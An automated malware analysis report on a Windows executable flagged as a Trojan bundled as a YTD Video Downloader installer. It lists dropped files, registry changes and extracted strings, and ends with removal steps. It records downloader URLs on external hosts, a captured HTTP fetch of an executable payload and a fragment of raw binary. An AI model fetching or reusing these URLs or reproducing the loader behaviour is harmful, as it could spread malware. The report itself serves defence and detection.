MD5: 0751e1dddcda4da46a80a94ab06f1fdd
SHA1: 76978698b232892d55efb20a5df5157d1e500b74
SHA256: d762347cced56936a28f95a740f65c40402394dcececba5ec0fdd325d57c6b79
SSDeep: 196608:WP2duV9Lczbv3K2BJ6F/io hgFN6RU0Jtyu69esS7zjmIspZ9PpwE31rS nIJY9x:Vdu3Lo21 hUgRU0JtyuDzq7FPphFrVXT
Size: 11765228 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: BorlandCDLL, UPolyXv05_v6, BorlandCforWin321999
Company: no certificate found
Created at: 2015-03-11 07:34:35
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

tmp2.tmp:260
%original file name%.exe:516

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process tmp2.tmp:260 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\wmpq.log (65 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\ok.ico (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\NSISdl.dll (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\err.ico (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\ButtonEvent.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\nsArray.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\cur.ico (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm3.tmp (0 bytes)

The process %original file name%.exe:516 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (83797 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (11552 bytes)

Registry activity

The process tmp2.tmp:260 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A 47 99 F1 CA B2 62 3A 93 39 3C 9B 79 CB D5 33"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:516 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 A9 8F EA 3A 6A BC 81 EA 60 E4 D3 4F 97 A4 2F"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: YTD Video Downloader
Product Version: 4.8.9.0.6
Legal Copyright: Copyright (c) 2007-2015 GreenTree Applications SRL
Legal Trademarks:
Original Filename: Uninstall.exe
Internal Name:
File Version: 4.8.9
File Description: YTD Video Downloader
Comments:
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://d1gahxamcuu9d3.cloudfront.net/stub_maker.php?program=sevenzip&tid=4084522&pid=1505&b_typ=pe&reb=1&name=YTD youtube downloader pro 4.8&t=first&truename=/InstallerSetup.exe
hxxp://dl.fc-gogo.space/stub_maker.php?program=sevenzip&tid=4084522&pid=1505&b_typ=pe&reb=1&name=YTD youtube downloader pro 4.8&t=first&truename=/InstallerSetup.exe	54.230.97.245

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /stub_maker.php?program=sevenzip&tid=4084522&pid=1505&b_typ=pe&reb=1&name=YTD youtube downloader pro 4.8&t=first&truename=/InstallerSetup.exe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

Host: dl.fc-gogo.space

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 96431

Connection: keep-alive

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="5538e2889098e.exe"

X-Powered-By: ASP.NET

Date: Thu, 23 Apr 2015 12:16:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 dc81da318a4ae20e51ccfd9463219596.cloudfront.net (CloudFront)

X-Amz-Cf-Id: B7cNDILN9yRZEeLG-kGDMySiSg07KCfQLd9UmdREGV-qgl_TMZquxg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8
...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8.......
.PE..L.....GO.................n.......B...8............@..............
............`[email protected]..........
[email protected]............................................
........................................text....m.......n.............
..... ..`.rdata..b*.......,...r..............@[email protected]....~...........
[email protected]....@.
......B..................@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected][email protected]...
..@..}[email protected]... M..........M........E...FQ.....NU
..M.......M...VT..U........FP..E...............E.P.M...H.@..E..P.E..E.
[email protected]}[email protected].}.j.W.E......E.....
[email protected][email protected][email protected] [email protected].
u.....@._^3.[.....L$...-G...i. @...T.....tUVW.q.3.;5.-G.sD..i. @...D..
S.....t.G.....t...O..t .....u...3....3...F. @..;5.-G.r.[_^...U..QQ
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rdata

P.idata

@.edata

@.rsrc

@.reloc

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

uxtheme.dll

USER32.DLL

MAPI32.DLL

comctl32.dll

DWMAPI.DLL

ssShift

htKeyword

EInvalidOperation

%s_%d

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

UhÛ

clWebSnow

clWebFloralWhite

clWebLavenderBlush

clWebOldLace

clWebIvory

clWebCornSilk

clWebBeige

clWebAntiqueWhite

clWebWheat

clWebAliceBlue

clWebGhostWhite

clWebLavender

clWebSeashell

clWebLightYellow

clWebPapayaWhip

clWebNavajoWhite

clWebMoccasin

clWebBurlywood

clWebAzure

clWebMintcream

clWebHoneydew

clWebLinen

clWebLemonChiffon

clWebBlanchedAlmond

clWebBisque

clWebPeachPuff

clWebTan

clWebYellow

clWebDarkOrange

clWebRed

clWebDarkRed

clWebMaroon

clWebIndianRed

clWebSalmon

clWebCoral

clWebGold

clWebTomato

clWebCrimson

clWebBrown

clWebChocolate

clWebSandyBrown

clWebLightSalmon

clWebLightCoral

clWebOrange

clWebOrangeRed

clWebFirebrick

clWebSaddleBrown

clWebSienna

clWebPeru

clWebDarkSalmon

clWebRosyBrown

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebOlive

clWebForestGreen

clWebGreenYellow

clWebChartreuse

clWebLightGreen

clWebAquamarine

clWebSeaGreen

clWebGoldenRod

clWebKhaki

clWebOliveDrab

clWebGreen

clWebYellowGreen

clWebLawnGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkgreen

clWebLimeGreen

clWebLime

clWebSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebLightCyan

clWebLightBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebIndigo

clWebMediumTurquoise

clWebTurquoise

clWebCyan

clWebPowderBlue

clWebSkyBlue

clWebRoyalBlue

clWebMediumBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebCadetBlue

clWebDarkCyan

clWebTeal

clWebDeepskyBlue

clWebDodgerBlue

clWebBlue

clWebNavy

clWebDarkViolet

clWebDarkOrchid

clWebMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebMediumOrchid

clWebMediumPurple

clWebPurple

clWebDeepPink

clWebLightPink

clWebViolet

clWebOrchid

clWebPlum

clWebThistle

clWebHotPink

clWebPink

clWebLightSteelBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebWhite

clWebLightgrey

clWebGray

clWebSteelBlue

clWebSlateBlue

clWebSlateGray

clWebWhiteSmoke

clWebSilver

clWebDimGray

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlategray

clWebGainsboro

clWebDarkGray

clWebBlack

AutoHotkeys`

AutoHotkeys

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

EInvalidGraphicOperation

Uh.MC

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

OnKeyDown

OnKeyPress8

OnKeyUp

GlassFrame.Bottom

GlassFrame.Enabled

GlassFrame.Left

GlassFrame.Right

GlassFrame.SheetOfGlass

GlassFrame.Top

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

User32.dll

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

xxtype.cpp

derv->tpClass.tpcFlags & CF_HAS_BASES

Inappropriate I/O control operation

Broken pipe

Operation not permitted

%H:%M:%S

%m/%d/%y

%A, %B %d, %Y

d/d/d d:d:d.d

xx.cpp

varType->tpClass.tpcFlags & CF_HAS_DTOR

varType->tpClass.tpcDtorAddr

(vbFlag && (errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount)) || (!vbFlag && (errPtr->ERRcInitDtc >= varType->tpClass.tpcNVdtCount)) || flags

memType->tpClass.tpcFlags & CF_HAS_DTOR

varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR

dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR

IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR)

elemType->tpClass.tpcFlags & CF_HAS_DTOR

wstring.cpp

ADVAPI32.DLL

KERNEL32.DLL

VERSION.DLL

COMCTL32.DLL

GDI32.DLL

SHELL32.DLL

OLEAUT32.DLL

WINHTTP.DLL

RegCloseKey

RegCreateKeyExW

RegFlushKey

RegOpenKeyExA

GetCPInfo

GetProcessHeap

SetViewportOrgEx

ActivateKeyboardLayout

EnumChildWindows

EnumThreadWindows

EnumWindows

GetKeyNameTextA

GetKeyState

GetKeyboardLayout

GetKeyboardLayoutList

GetKeyboardLayoutNameA

GetKeyboardState

GetKeyboardType

LoadKeyboardLayoutA

MapVirtualKeyA

MsgWaitForMultipleObjects

SetWindowsHookExA

UnhookWindowsHookEx

WinHttpCloseHandle

WinHttpConnect

WinHttpCrackUrl

WinHttpOpen

WinHttpOpenRequest

WinHttpQueryDataAvailable

WinHttpQueryHeaders

WinHttpReadData

WinHttpReceiveResponse

WinHttpSendRequest

wrapper2.exe

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

133336633

0153668886663311

 1536888

;886631  ~

 113688;

86351 ($

>1367631%

<  5<  9

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

version="11.0.2709.7128"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

;/;3;7;;;

<$<(<0<4<

7 7$7(7,7

;|;'=&>=>

<"<&<*<.<2<6<:<><

8Œ8

7$7,7074787

1 1$1(1,1014181<1@1

> >$>(>,>0>

:*:8:^:|:

> >8>`>|>

1 1$1(1,1

74888@8 8,8\8|8

44484\4`4

>4>8>\>`>

\SchTask0.exe

Software\Microsoft\Windows\CurrentVersion\Run

CMozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36

Value must be between %d and %d Clipboard does not support Icons/Menu '%s' is already being used by another form

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

$Parent given is not a parent of '%s'

%s property out of range

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Operation not supported

External exception %x

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)!'%s' is not a valid integer value

I/O error %d

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to get data for '%s'

Resource %s not found

%s.Seek not implemented

No help found for %s#No context-sensitive help installed

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

04090000

4.8.9

Uninstall.exe

4.8.9.0.6

tmp2.tmp_260:

.text

`.rdata

@.data

.ndata

.rsrc

@.reloc

RegDeleteKeyExW

Kernel32.DLL

PSAPI.DLL

%s=%s

GetWindowsDirectoryW

KERNEL32.dll

ExitWindowsEx

GetAsyncKeyState

USER32.dll

GDI32.dll

SHFileOperationW

ShellExecuteW

SHELL32.dll

RegDeleteKeyW

RegCloseKey

RegEnumKeyW

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

ButtonEvent.dll

System.dll

invalid URL

Host: %s

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

http=

Unable to open %s

%skB (%d%%) of %skB at %u.
ukB/s

(%u hours remaining)

(%u minutes remaining)

(%u seconds remaining)

Downloading %s

WS2_32.dll

NSISdl.dll

.ytwOr

.-K}m

)-.Yln

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46.5-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

logging set to %d

settings logging to %d

created uninstaller: %d, "%s"

WriteReg: error creating key "%s\%s"

WriteReg: error writing into "%s\%s" "%s"

WriteRegBin: "%s\%s" "%s"="%s"

WriteRegDWORD: "%s\%s" "%s"="0xx"

WriteRegExpandStr: "%s\%s" "%s"="%s"

WriteRegStr: "%s\%s" "%s"="%s"

DeleteRegKey: "%s\%s"

DeleteRegValue: "%s\%s" "%s"

WriteINIStr: wrote [%s] %s=%s in %s

CopyFiles "%s"->"%s"

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d

Error registering DLL: Could not load %s

Error registering DLL: %s not found in %s

GetTTFFontName(%s) returned %s

GetTTFVersionString(%s) returned %s

Exec: failed createprocess ("%s")

Exec: success ("%s")

Exec: command="%s"

ExecShell: success ("%s": file:"%s" params:"%s")

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d

Exch: stack < %d elements

RMDir: "%s"

MessageBox: %d,"%s"

Delete: "%s"

File: wrote %d to "%s"

File: skipped: "%s" (overwriteflag=%d)

File: error creating "%s"

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"

Rename failed: %s

Rename on reboot: %s

Rename: %s

IfFileExists: file "%s" does not exist, jumping %d

IfFileExists: file "%s" exists, jumping %d

CreateDirectory: "%s" created

CreateDirectory: can't create "%s" - a file already exists

CreateDirectory: can't create "%s" (err=%d)

CreateDirectory: "%s" (%d)

SetFileAttributes: "%s":X

Sleep(%d)

detailprint: %s

Call: %d

Aborting: "%s"

Jump: %d

verifying installer: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

install.log

%u.%u%s%s

Skipping section: "%s"

Section: "%s"

New install of "%s" to "%s"

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

*?|<>/":

invalid registry key

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

x%c

RMDir: RemoveDirectory failed("%s")

RMDir: RemoveDirectory on Reboot("%s")

RMDir: RemoveDirectory("%s")

RMDir: RemoveDirectory invalid input("%s")

Delete: DeleteFile failed("%s")

Delete: DeleteFile on Reboot("%s")

Delete: DeleteFile("%s")

%s: failed opening file "%s"

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\nsDialogs.dll

3456789 /

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\nsDialogs.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp

1.0.0.8

callback%d

kernel32.dll

Software\Microsoft\Windows\CurrentVersion\Internet Settings

nsc4.tmp

File: skipped: "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\nsDialogs.dll" (overwriteflag=1)

p\nsDialogs.dll"

OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\err.ico

1=SevenZip-setup.exe

downloadS.php

venZip-setup.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\tmp2.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

tmp2.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm3.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

-2096495937

3419704

1245448

1376462

-1693842164

671744491

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\cur.ico

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\err.ico

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc4.tmp\ok.ico

ttp://pe-sixi.com/downloadS.php

evenZip-setup.exe

tmp2.tmp_260_rwx_10001000_00007000:

.text

`.rdata

@.data

.rsrc

@.reloc

/key=

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\wmpq.log (65 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\ok.ico (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\NSISdl.dll (15 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\err.ico (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\ButtonEvent.dll (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\nsArray.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\nsDialogs.dll (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsc4.tmp\cur.ico (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (83797 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (11552 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.